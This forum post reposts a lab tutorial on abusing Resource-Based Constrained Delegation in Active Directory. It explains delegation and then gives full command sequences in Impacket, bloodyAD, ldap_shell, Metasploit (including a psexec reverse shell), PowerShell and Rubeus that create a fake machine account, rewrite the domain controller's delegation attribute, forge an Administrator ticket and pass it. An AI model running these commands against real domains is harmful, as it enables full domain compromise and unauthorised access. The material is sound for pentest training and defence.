• We just launched and are currently in beta. Join us as we build and grow the community.

Domain Escalation: Resource Based Constrained Delegation

Protato

Wallet Guru
P Rep
0
0
0
Rep
0
P Vouches
0
0
0
Vouches
0
Posts
137
Likes
33
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Resource-Based Constrained Delegation (RBCD) is a security feature in Active Directory (AD) that enables a computer object to specify which users or machines can impersonate accounts to access its resources. This delegation method provides more granular control compared to the older unconstrained and constrained delegation methods. However, if misconfigured, RBCD can be exploited by attackers to gain unauthorized access and escalate privileges within a domain.

This guide will provide an in-depth explanation of RBCD, covering its working mechanism, the key attributes involved, and how attackers exploit it. Additionally, we will demonstrate an attack scenario where an attacker manipulates delegation settings to gain control over a privileged account.

Table of Contents
  • Resource Based Constrained Delegation
  • Prerequisites
  • Lab Setup
  • Exploitation Phase
  • Bloodhound – Hunting for Weak Permission

Method for Exploitation

  • Impacket
  • Bloody AD
  • Ldap_shell
  • Metasploit
  • PowerShell – Powerview
  • Rubeus

Understanding RBCD

Delegation in Active Directory

Delegation in Active Directory allows a service to authenticate on behalf of a user, enabling seamless authentication across multiple services. There are three types of delegation:

  • Unconstrained Delegation: Any service running on the delegated machine can impersonate users without restrictions.
  • Constrained Delegation: The delegation is restricted to specific services, limiting potential abuse.
  • Resource-Based Constrained Delegation (RBCD): Introduced in Windows Server 2012, RBCD enables a resource (e.g., a server) to define which accounts can delegate to it.

Unlike traditional delegation methods, RBCD is configured on the target machine (resource) instead of the user account. This makes it more flexible but also introduces risks when improperly configured.

How RBCD Works

When RBCD is configured, the attribute msDS-AllowedToActOnBehalfOfOtherIdentity is modified on the target machine’s computer object. This attribute contains a security descriptor (SD) that specifies which users or machines are allowed to perform delegation.

The RBCD process follows these steps:

  • A user or machine is granted permission to act on behalf of other identities by modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target machine.
  • The user requests a Service for User to Self (S4U2Self) ticket from the Key Distribution Center (KDC) to impersonate a privileged account.
  • The user then requests a Service for User to Proxy (S4U2Proxy) ticket, allowing authentication to services running on the target machine.
  • The user gains access to the target system as the impersonated account.

If an attacker gains control over a computer object and modifies its delegation settings, they can effectively impersonate privileged accounts, leading to full domain compromise.

Key Active Directory Attribute Used

  • msDS-AllowedToActOnBehalfOfOtherIdentity: Stores a security descriptor defining which accounts can use RBCD.
  • TrustAttributes: Determines whether delegation is enabled on a machine.
  • Service Principal Names (SPNs): Used in Kerberos authentication to identify services running on a machine. The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations.
  • Machine Quota: The default setting in AD allowing any user to create up to 10 machine accounts.

Prerequisites
  • Windows Server 2019 as Active Directory
  • Kali Linux
  • Tools: Bloodhound, Impacket, Powerview, BloodyAD, Ldap_Shell, Metasploit
  • Windows 10/11 – As Client

Lab Setup

Create the AD Environment:

To simulate an Active Directory environment, you will need a Windows Server as a Domain Controller (DC) and a client machine (Windows or Linux) where you can run enumeration and exploitation tools.

Domain Controller:

  • Install Windows Server (2016 or 2019 recommended).
  • Promote it to a Domain Controller by adding the Active Directory Domain Services
  • Set up the domain (e.g., local).

User Accounts:

  • Create a standard user account named Geet.

Code:
net user geet Password@1 /add /domain

Grant “Geet” User Full Control on the Domain Controller Computer:

Once your AD environment is set up, Grant Geet user full control over a domain controller (DC), allowing it to manipulate its delegation settings.

Steps:

  • Open Active Directory Users and Computers (ADUC) on the Domain Controller.
  • Enable the Advanced Features view by clicking on View > Advanced Features.
  • Locate the Domain Controller machine in the Domain Controller container.
  • Right-click on Domain Controller machine (DC) and go to Properties.

1.png


  • Go to the Securitytab, and click on Add button

2.png


  • In the “Enter the object name to select” box, type Geetand click Check Names and click on OK.
  • Select Geet user and in the Permissionssection, check the box for Full control rights
  • Apply the settings.

3.png


At this point, Geet now has Full Control rights over the Domain controller machine, allowing it to manipulate its delegation settings.

Exploitation Phase

Bloodhound – Hunting for Weak Permission

Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Geet has Full control permission on the Domain controller group, and can perform RBCD attack.

Code:
bloodhound-python -u geet -p Password@1 -ns 192.168.1.48 -d ignite.local -c All

4.png


From the graphical representation of Bloodhound, the tester would like to identify the outbound object control for selected user where the first degree of object control value is equal to 1.

5.png


BloodHound helps identify delegation misconfigurations that can be exploited for RBCD attacks.

6.png


Method for Exploitation

If you have understood the theoretical concepts, executing an RBCD attack becomes straightforward. The following steps outline the process:

  • Create a fake computer account
  • Edit the target’s “rbcd” attribute by delegating control on a domain controller (DC) to this fake machine
  • Fake computer account acts on behalf of Domain Controller (DC$) account
  • Obtain a ticket (delegation operation)
  • Once the ticket is obtained, it can be used with pass-the-ticket.

Impacket
  • Abuse MachineAccountQuota to create a computer account

Since Active Directory allows users to create machine accounts (if MachineAccountQuota > 0), we leverage this to create a new fake machine using the Geet account.

To do this, we’ll use a relatively new impacket example script – addcomputer. This script has a SAMR option to add a new computer, which functions over SMB.

Code:
impacket-addcomputer ignite.local/geet:Password@1 -computer-name fakepc -computer-pass Password@123 -dc-ip 192.168.1.48

7.png


  • Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

We configure msDS-AllowedToActOnBehalfOfOtherIdentity on the domain controller (DC$), allowing our fake machine account to impersonate users.

Impacket’s rbcd script can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.

Code:
impacket-rbcd ignite.local/geet:Password@1 -action write -delegate-to 'DC$' -delegate-from 'fakepc$' -dc-ip 192.168.1.48

8.png


Alternatively, the above two setups can be done using:

Bloody AD

Create a fake computer account

Code:
bloodyAD -u geet -p 'Password@1' -d ignite.local --host 192.168.1.48 add computer fakecomp 'Password@123'

11.png


Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties, to allow the account to act on behalf of the other identity.

Code:
bloodyAD --host 192.168.1.48 -u geet -p 'Password@1' -d ignite.local add rbcd 'DC$' 'fakecomp$'

12.png


Ldap_shell

This can also be achieved using ldap_shell:

Code:
ldap_shell ignite.local/geet:Password@1 -dc-ip 192.168.1.48

Create a fake computer account

Code:
add_computer testpc Password@123

Allow the account to act on behalf of the other identity

Code:
set_rbcd DC$ testpc$

15.png


  • Generate a Service Ticket for CIFS

The fake machine account requests a Kerberos Service Ticket for a privileged user (e.g., Administrator) using Service for User to Self (S4U2Self).

Then, it escalates the ticket using Service for User to Proxy (S4U2Proxy) to obtain access to DC$.

So, once the attribute has been modified, the Impacket script getST can then perform all the necessary steps to obtain the final “impersonating” ST (in this case, “Administrator” is impersonated but it can be any user in the environment).

Code:
impacket-getST ignite.local/'fakepc$':Password@123 -spn cifs/DC.ignite.local -impersonate administrator -dc-ip 192.168.1.48

16.png


  • Obtain Privileged Access

Once the ticket is obtained, it can be used with pass-the-ticket.

In order to use the ticket, first export an environment variable that points to the created ticket.

Code:
export KRB5CCNAME=administrator@[email protected]
impacket-psexec ignite.local/[email protected] -k -no-pass -dc-ip 192.168.1.48

17.png


From UNIX-like systems, Impacket’s findDelegation script can be used to find unconstrained, constrained (with or without protocol transition) and rbcd.

Code:
Impacket-findDelegation ignite.local/raaj:Password@1 -dc-ip 192.168.1.48

18.png


Metasploit

The above steps can also be achieved using Metasploit:

Create a fake computer account

The admin/dcerpc/samr_account module is generally used to first create a computer account, which by default, all user accounts in a domain can perform.

Code:
Use auxiliary/admin/dcerpc/samr_account 
set SMBUSER geet
set SMBPASS Password@1
set ACCOUNT_NAME LOKI$
set ACCOUNT_PASSWORD Password@123
set SMBDOMAIN ignite.local
run

25.png


Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

The auxiliary/admin/ldap/rbcd module can be used to read and write the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute against a target for Role Based Constrained Delegation (RBCD). When writing, the module will add an access control entry (ACE) to allow the account specified in DELEGATE_FROM to the object specified in DELEGATE_TO.

Code:
use auxiliary/admin/ldap/rbcd
set DELEGATE_FROM LOKI
set DELEGATE_TO DC
set DOMAIN ignite.local
set RHOSTS 192.168.1.48
set USERNAME geet
set PASSWORD Password@1
set ACTION WRITE
run

26.png


Generate a Service Ticket for CIFS

Next, we can use the auxiliary/admin/kerberos/get_ticket module to request a new S4U impersonation ticket for the Administrator account using the previously created machine account. For instance, requesting a service ticket for SMB access.

Code:
use auxiliary/admin/kerberos/get_ticket
set RHOSTS 192.168.1.48
set IMPERSONATE administrator
set USERNAME LOKI
set PASSWORD Password@123
set ACTION GET_TGS
set SPN cifs/dc.ignite.local
run

27.png


Obtain Privileged Access

The saved TGS can be used in a pass-the-ticket style attack. For instance using the exploit/windows/smb/psexec module for a reverse shell.

Code:
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set USERNAME administrator
set SMB::AUTH kerberos
set SMB::KRB5CCNAME /root/.msf4/loot/20250126094248_default_192.168.1.48_mit.kerberos.cca_426299.bin
set SMB::RHOSTNAME dc.ignite.local
set DOMAINCONTROLLERRHOST 192.168.1.48
set LHOST 192.168.1.128
run

28.png


The auxiliary/admin/ldap/rbcd can be used to read the value of msDS-AllowedToActOnBehalfOfOtherIdentity to verify the value is updated.

Code:
use auxiliary/admin/ldap/rbcd
set DOMAIN ignite.local
set RHOSTS 192.168.1.48
set USERNAME geet
set PASSWORD Password@1
set delegate_to dc
run

30.png


Windows Exploitation

Create a fake computer account

If we’re attacking from Windows FuzzSecurity’s StandIn project let us create machine accounts:

Code:
.\StandIn_v13_Net45.exe --computer panther --make

40.png


Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

The PowerShell ActiveDirectory module’s cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).

Code:
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount panther$

41.png


Generate a Service Ticket for CIFS

We can now exploit the delegation with the best kerberos exploitation tool out there, Rubeus: in order to do the S4U attack it requires the machine account user’s AES256 (/aes256) or RC4 (/rc4) key, because these make up the long term secret keys used to encrypt kerberos tickets (plus AES128 and DES). If we have a TGT for our machine account we can use that instead.

If RC4 is not disabled we’ll see that it coincides with the account’s NT hash (this will be useful in the SPN-less attack!).

The RC4 key is simply an NT hash so we only need our clear text password to calculate it, while the AES keys also require our user’s name and domain, because these are used as salt for the hashing algorithm.

The NT hash and AES keys can be computed as follows.

Code:
./Rubeus.exe hash /domain:ignite.local /user:panther$ /password:pLXFRC7KAXjWPWm

42.png


Rubeus can then be used to request the TGT and “impersonation ST”, and inject it for later use.

Armed with a kerberos key we can proceed with the S4U attack specifying an SPN pointing to our target (/msdsspn) and a user to impersonate, here we also include the /ptt flag to have Rubeus load the TGS into our cache so we can pass the ticket to our target from our attacking host.

Code:
./Rubeus.exe s4u /user:panther$ /domain:ignite.local /rc4:D9F337ED3B96C2D88D1DA93908CB7833 /impersonateuser:administrator /msdsspn:http/DC /altservice:cifs,host /ptt

43.png


Obtain Privileged Access

Once the ticket is injected, it can natively be used when accessing the service.

now we can access the target!

Code:
ls \\dc\c$

44.png


Author: Komal Singh is a Cyber Security Researcher and Technical Content Writer, she is a completely enthusiastic pentester and Security Analyst at Ignite Technologies. Contact Here
 

425,172

310,807

310,816

Top